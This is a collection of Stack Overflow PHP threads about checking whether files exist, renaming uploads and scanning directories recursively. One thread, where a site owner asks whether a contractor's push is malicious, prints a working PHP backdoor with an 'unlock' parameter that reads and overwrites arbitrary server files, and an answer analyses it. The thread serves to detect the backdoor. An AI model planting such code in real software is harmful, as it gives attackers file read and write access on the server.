PHP Checking if a file exists in a directory [closed] - php

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 8 years ago.
Improve this question
I'm creating a file uploader, and it checks to see if a file exists or not in a directory. If it does exist, I must come up with a new name for the file (I.E file.txt -> file1.txt). Not sure why, but it keeps on generating errors. Here's my code. Hopefully it isn't something painfully obvious.
$directory = "files/";
$name = $_FILES['filename']['name'];
$valid_name = true;
$counter = 0;
if(file_exists($directory . $_FILES['filename']['name'])) {
$valid_name = false;
}
while(!$valid_name){
$name = $_FILES['filename']['name'] . $counter;
if(file_exists($directory . $name)){
counter++;
}
}

Your code is wrong. This is much simpler and easier to understand.
$directory = "files/";
$counter = 0;
$name = $_FILES['filename']['name'];
while(file_exists($directory . $name)){
$counter++;
$name = $_FILES['filename']['name'] . $counter;
}
Also your code does not generate file.txt -> file1.txt but file.txt -> file.txt1 so does this one. To generate it properly play with the extension and the name.

You forgot to change the value of $valid_name. Anyway, a simpler way to do that is just:
$directory = "files/";
$counter = "";
while (file_exists($directory . $_FILES['filename']['name'] . $counter)) {
$counter++;
}
// Here the name is: $directory . $_FILES['filename']['name'] . $counter
Consider that after the first time $counter++ is executed, it becomes "1", and then 2, etc...
A smaller code, just for fun:
$c = "";
while (file_exists("files/".$_FILES['filename']['name'].$c)) $c++;
// Here the name is: "files/".$_FILES['filename']['name'].$c

You forgot to name your variable correctly when using it:
$counter++;
// not counter++ but $counter++;

The code has a number of problems, which I'll list followed by a cleanup.
Syntax error: counter is not prefixed with a $ sign
Styling: your code isn't formatted nicely and consequently you'll have a harder time identifying problems.
Logical flow: You're only checking for the existence of a single filename, not others.
You're not handling file extensions.
Try something like this:
$directory = "files/";
$path = pathinfo( $directory . $_FILES['filename']['name'] );
$name = $path['filename'];
$counter = 0;
while ( file_exists( $path['dirname'] . $path['basename'] ) ) {
$counter++;
$path['filename'] = $name . $counter;
}
$outputFile = $path['dirname'] . $path['filename'] . '.' . $path['extension'];

Related

PHP - include files from array only if all exist in directory

I'm trying to create a script for including (through require_once) multiple files, but I'm expecting from it following behavior:
all file names of required files are defined as values in array
script check if all files from array exist in given directory
if yes, require them and continue (only if each of them exist)
if no, terminate script and show error message (if any file is missing)
UPDATE
After taking a closer look at my original script I found why it didn't work. Second IF statement ($countMissing == 0) was inside FOR loop and it produced empty arrays for files which were found. Taking that IF statement out of the loop sorted the problem.
WORKING VERSION (with few tiny modifications):
// Array with required file names
$files = array('some_file', 'other_file', 'another_file');
// Count how many files is in the array
$count = count($files);
// Eampty array for catching missing files
$missingFiles = array();
for ($i=0; $i < $count; $i++) {
// If filename is in the array and file exist in directory...
if (in_array($files[$i], $files) && file_exists(LIBRARIES . $files[$i] . '.php')) {
// ...update array value with full path to file
$files[$i] = LIBRARIES . $files[$i] . '.php';
} else {
// Add missing file(s) to array
$missingFiles[] = LIBRARIES . $files[$i] . '.php';
}
}
// Count errors
$countMissing = count($missingFiles);
// If there was no missing files...
if ($countMissing == 0) {
foreach ($files as $file) {
// ...include all files
require_once ($file);
}
} else {
// ...otherwise show error message with names of missing files
echo "File(s): " . implode(", ", $missingFiles) . " wasn't found.";
}
If this thread won't be deleted I hope it will help somebody.
Try this:
$files = array(
'some_file',
'other_file',
'another_file',
);
// create full paths
$files = array_map(function ($file) {
return ROOT_DIR . $file . '.php')
}, $files);
// find missing files
$missing = array_filter($files, function ($file) {
return !file_exists($file);
});
if (0 === count($missing)) {
array_walk($files, function ($file) {
require_once $file;
});
} else {
array_walk($missing, function ($file) {
echo "File: " . $file " wasn't found.";
});
}
For reference, see:
http://php.net/manual/en/function.array-map.php
http://php.net/manual/en/function.array-filter.php
http://php.net/manual/en/function.array-walk.php
Try this, prevent loop inside the loop.
for ($i=0; $i < $count; $i++) {
// If filename is in the array but file not exist in directory...
if (in_array($files[$i], $files) && !file_exists(ROOT_DIR . $files[$i] . '.php')) {
// ...add name of missing file to error array
$errors[] = $files[$i];
}
else{
require_once (ROOT_DIR . $file[$i] . '.php');
}
}
The code from localheinz and jp might be fine, but I wouldn't code things like that because it makes things complicated. Assuming you don't want a list of missing files (which would be slightly different) I'd do it like this:
$filesOK=true;
foreach($files as $file)
{
$path = ROOT_DIR . $file . ".php";
if(!file_exists($path ))
{
$filesOK=false; // we have a MIA
break; // quit the loop, one failure is enough
}
}
if($filesOK)
foreach($files as $file)
require_once($file);
else
echo "We have a problem";
For me this is much easier to see at a glance. Easier to debug, and the CPU is going to do the same job one way or anther. Probably not much difference in execution speed - if that even mattered.
If you need the list of missing files, then:
$filesOK=true;
foreach($files as $file)
{
$path = ROOT_DIR . $file . ".php";
if(!file_exists($path)) // assume each file is given with proper path
{
$filesOK=false; // we have a MIA
$mia[]=$path; // or $file if you just want the name
}
}
if($filesOK)
foreach($files as $file)
require_once($file);
else
{
if(is_array(#$mia)) // I always make sure foreach is protected
foreach($mia as $badfile) // even if it seems obvious that its ok
echo "Missing in action: $badfile<br>";
}

Is this code malicious or safe? [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about programming within the scope defined in the help center.
Closed 8 years ago.
Improve this question
I'm working on a website and recently picked someone up to work on the PHP portion and I have had suspicions that he may have added malicious code to the site, he pushed a bit of PHP without permission nor without mentioning anything to anyone.
The push was labelled 'Added Security'.
Here's the code:
<?PHP
if(isset($_GET['unlock'])) {
$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
$url = './$name?unlock&id='.$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
if (isset($_POST['text'])) {
file_put_contents($file, $_POST['text']);
if(isset($_GET['f'])) {
$f = $_GET['f'];
header('location: ' . $name . '&id=' . $id . '&f=' . $f);
} else {
header('location: ' . $name . '&id=' . $id);
}
}
$text = htmlentities(file_get_contents($file));
echo "<form method='post'><input type='submit'><textarea name='text'>$text</textarea></form>$dic";
die();
}
?>
Thanks in advance.
Let's see, the following
<?php
if(isset($_GET['unlock'])) {
...
}
Means that if you don't send the parameter unlock then nothing would be displayed. Is like a knaive attempt of keeping a secret piece of code that only he can unlock with a magic word.
Regarding what's inside
$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
//$url = './$name?unlock&id='.$id; // the former would fail to interpolate $name
$url = "./$name&id=".$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
$text = htmlentities(file_get_contents($file));
echo"<form method='post'><input type='submit'><textarea name='text'>$text</textarea> </form>";
If you pass the parameter unlock and id (which is a filename), plus optionally a parameter f (which is a folder) you can see the contents of that file in the textarea. For example
http://www.myserver.com/thescript.php?unlock&id=config.php&f=app
would expose whatever sensitive information you have in your config.php inside the app folder.
Finally, this part
if (isset($_POST['text'])) {
file_put_contents($file, $_POST['text']);
if(isset($_GET['f'])) {
$f = $_GET['f'];
header('location: ' . $name . '&id=' . $id . '&f=' . $f);
} else {
header('location: ' . $name . '&id=' . $id);
}
}
Would let you edit or create a file by submitting the form. It might fail due to lack of permissions, but since you can play with the folder, you just insist until you find a writable folder.

Setting the directory to include subdirectories using html2text

Long time reader, first time poster. I know just enough about php to be dangerous and this is my first BIG project using it.
Some background:
I have over 1 million (yes, million) .html files that were generated from an old news gathering program. These .html files contain important archive information that needs to be searched on daily basis. I have yet to get to other servers which might very well have more so 2-3 million+ is not out of the question.
I am taking these .html files and transferring them into a mysql database. At least, so far, the code has worked wonderfully with several hundred test files. I'll attach the code at the end.
The problem starts when the .html files are archived, and it's a function of the box generating the archive which cannot be changed, is the files go into folders. They are broken down like this
archives>year>month>file.html
so an example is
archives>2002>05may>lots and lots of files.html
archives>2002>06june>lots and lots of files.html
archives>2002>07july>lots and lots of files.html
With help and research, I wrote code to strip the files of markup that includes html2text and simple_html_dom and put the information from each tag in the proper fields in my database, which works great. But ALL of the files need to be moved to the same directory for it to work. Again, over a million and possibly more for other severs takes a REALLY long time to move. I am using a batch file to robocopy the files now.
My question is this:
Can I use some sort of wildcard to define all of the subdirectories so I don't have to move all of the files and they can stat in their respective directories?
Top of my code:
// Enter absolute path of folder with HTML files in it here (include trailing slash):
$directory = "C:\\wamp1\\www\\name\\search\\files\\";
The subdirectories are under the files directory.
In my searches for an answer, I have seen "why would you want to do that?" or other questions asking about .exe files or .bat files in the directories and how it could be dangerous so don't do it. My question is just for these html files so there is nothing being called or running and no danger.
Here is my code for stripping the html into the database. Again, works great, but I would like to skip the step of having to move all of the files into one directory.
<?php
// Enter absolute path of folder with HTML files in it here (include trailing slash):
$directory = "C:\\wamp1\\www\\wdaf\\search\\files\\";
// Enter MySQL database variables here:
$db_hostname = "localhost";
$db_username = "root";
$db_password = "password";
$db_name = "dbname";
$db_tablename = "dbtablename";
/////////////////////////////////////////////////////////////////////////////////////
// Include these files to strip all characters that we don't want
include_once("simple_html_dom.php");
include_once("html2text.php");
//Connect to the database
mysql_connect($db_hostname, $db_username, $db_password) or trigger_error("Unable to connect to the database host: " . mysql_error());
mysql_select_db($db_name) or trigger_error("Unable to switch to the database: " . mysql_error());
//scan the directory and look for all the htmls files
$files = scandir($directory);
for ($filen = 0; $filen < count($files); $filen++) {
$html = file_get_html($directory . $files[$filen]);
// first check if $html->find exists
if (method_exists($html,"find")) {
// then check if the html element exists to avoid trying to parse non-html
if ($html->find('html')) {
//Get the filename of the file from which it will extract
$filename = $files[$filen];
//define the path of the files
$path = "./files/";
//Combine the patha and filename
$fullpath = $path . $filename;
// Get our variables from the HTML: Starts with 0 as the title field so use alternate ids starting with 1 for the information
$slug = mysql_real_escape_string(convert_html_to_text($html->find('td', 8)));
$tape = mysql_real_escape_string(convert_html_to_text($html->find('td', 9)));
$format0 = mysql_real_escape_string(convert_html_to_text($html->find('td', 10)));
$time0 = mysql_real_escape_string(convert_html_to_text($html->find('td', 11)));
$writer = mysql_real_escape_string(convert_html_to_text($html->find('td', 12)));
$newscast = mysql_real_escape_string(convert_html_to_text($html->find('td', 13)));
$modified = mysql_real_escape_string(convert_html_to_text($html->find('td', 14)));
$by0 = mysql_real_escape_string(convert_html_to_text($html->find('td', 15)));
$productionCues = mysql_real_escape_string(convert_html_to_text($html->find('td', 16)));
$script = mysql_real_escape_string(convert_html_to_text($html->find('td', 18)));
// Insert variables into a row in the MySQL table:
$sql = "INSERT INTO " . $db_tablename . " (`path`, `fullpath`, `filename`, `slug`, `tape`, `format0`, `time0`, `writer`, `newscast`, `modified`, `by0`, `productionCues`, `script`) VALUES ('" . $path . "', '" . $fullpath . "', '" . $filename . "', '" . $slug . "', '" . $tape . "', '" . $format0 . "', '" . $time0 . "', '" . $writer . "', '" . $newscast . "', '" . $modified . "', '" . $by0 . "', '" . $productionCues . "', '" . $script . "');";
$sql_return = mysql_query($sql) or trigger_error("Query Failed: " . mysql_error());
}
}
}
?>
Thanks in advance,
Mike
Just wanted to update this post with a answer to my question that works quite well. With some help, we found that scandir used recursively to create an array would work.
I thought I'd post this so if anyone else was looking to do something similar, they would be able wouldn't have to look far! I know I like to see answers!
The code is from the second user-contributed note here with a few modifications: http://php.net/manual/en/function.scandir.php
so in my code above, I replaced
//scan the directory and look for all the htmls files
$files = scandir($directory);
for ($filen = 0; $filen < count($files); $filen++) {
$html = file_get_html($directory . $files[$filen]);
with
function import_dir($directory, $db_tablename) {
$cdir = scandir($directory);
foreach ($cdir as $key => $value)
{
if (!in_array($value,array(".","..")))
{
if (is_dir($directory . DIRECTORY_SEPARATOR . $value))
{
// Item in this directory is sub-directory...
import_dir($directory . DIRECTORY_SEPARATOR . $value,$db_tablename);
}
else
// Item in this directory is a file...
{
$html = file_get_html($directory . DIRECTORY_SEPARATOR . $value);
and then for the filenames, replaced
//Get the filename of the file from which it will extract
$filename = $files[$filen];
//define the path of the files
$path = "./files/";
//Combine the patha and filename
$fullpath = $path . $filename;
with
//Get the filename of the file from which it will extract
$filename = mysql_real_escape_string($value);
//define the path of the files
$path = mysql_real_escape_string($directory . DIRECTORY_SEPARATOR);
//Combine the patha and filename
$fullpath = $path . $value;
Thanks to those who answered!
Mike
I'm not sure how long it would take before your PHP query times out, but there is an inbuilt function RecursiveDirectoryIterator which sounds like it might do the trick for you.

Filepaths and Recursion in PHP

I'm trying to recursively iterate through a group of dirs that contain either files to upload or another dir to check for files to upload.
So far, I'm getting my script to go 2 levels deep into the filesystem, but I haven't figured out a way to keep my current full filepath in scope for my function:
function getPathsinFolder($basepath = null) {
$fullpath = 'www/doc_upload/test_batch_01/';
if(isset($basepath)):
$files = scandir($fullpath . $basepath . '/');
else:
$files = scandir($fullpath);
endif;
$one = array_shift($files); // to remove . & ..
$two = array_shift($files);
foreach($files as $file):
$type = filetype($fullpath . $file);
print $file . ' is a ' . $type . '<br/>';
if($type == 'dir'):
getPathsinFolder($file);
elseif(($type == 'file')):
//uploadDocsinFolder($file);
endif;
endforeach;
}
So, everytime I call getPathsinFolder I have the basepath I started with plus the current name of the directory I'm scandirring. But I'm missing the intermediate folders in between. How to keep the full current filepath in scope?
Very simple. If you want recursion, you need to pass the whole path as a parameter when you call your getPathsinFolder().
Scanning a large directory tree might be more efficient using a stack to save the intermediate paths (which would normally go on the heap), rather than use much more of the system stack (it has to save the path as well as a whole frame for the next level of the function call.
Thank you. Yes, I needed to build the full path inside the function. Here is the version that works:
function getPathsinFolder($path = null) {
if(isset($path)):
$files = scandir($path);
else: // Default path
$path = 'www/doc_upload/';
$files = scandir($path);
endif;
// Remove . & .. dirs
$remove_onedot = array_shift($files);
$remove_twodot = array_shift($files);
var_dump($files);
foreach($files as $file):
$type = filetype($path . '/' . $file);
print $file . ' is a ' . $type . '<br/>';
$fullpath = $path . $file . '/';
var_dump($fullpath);
if($type == 'dir'):
getPathsinFolder($fullpath);
elseif(($type == 'file')):
//uploadDocsinFolder($file);
endif;
endforeach;
}

While loop to add 1 to filename if it already exists not working in PHP

I'm trying to create a bit of code to first check the content of a directory to see if a file exists and if it does, append a number to the filename. Unfortunately I can't get it to work at the moment, the php produces no errors but a new file is not created if one already exists. Here is my code atm:
$Scan_Name_Output = "dirbuster_" . $workload["Scan_Name"] . "_output.txt";
$Check_Output = exec("ls " . $Output_Directory . " | grep -w " . $Scan_Name_Output);
$j = 1;
while (!empty($Check_Output))
{
$Scan_Name_Output = $Scan_Name_Output . $j;
$j++;
If I replace the while loop with an if statement, it works - so it's not the file paths or anything that are causing the problem. I've tried a fair few combinations but can't get it to work.
I have tried using file_exists() but it doesn't work - I think it's because I'm passing it variables that have been put through escapeshellarg(). As a result I think file_exists literally looks for /path/to/dir/'Report1.txt' - obviously 'Report1.txt' doesn't exist, Report1.txt does. This is why I was using exec and ls.
Thanks for any responses
PHP has some nice functions built in to handle files. You should think about using file_exists() for example.
$basename = "dirbuster_" . $workload["Scan_Name"] . "_output.txt";
$Scan_Name_Output = $basename;
$j = 1;
while (file_exists($Scan_Name_Output)){
$Scan_Name_Output = $basename . $j;
$j++;
}
$ourFileHandle = fopen($Scan_Name_Output, 'w') or die("can't open file");
Try this:
$Scan_Name_Output = "dirbuster_" . $workload["Scan_Name"] . "_output.txt";
if (file_exists($Scan_Name_Output))
{
rename($Scan_Name_Output, $Scan_Name_Output . "1");
}

Categories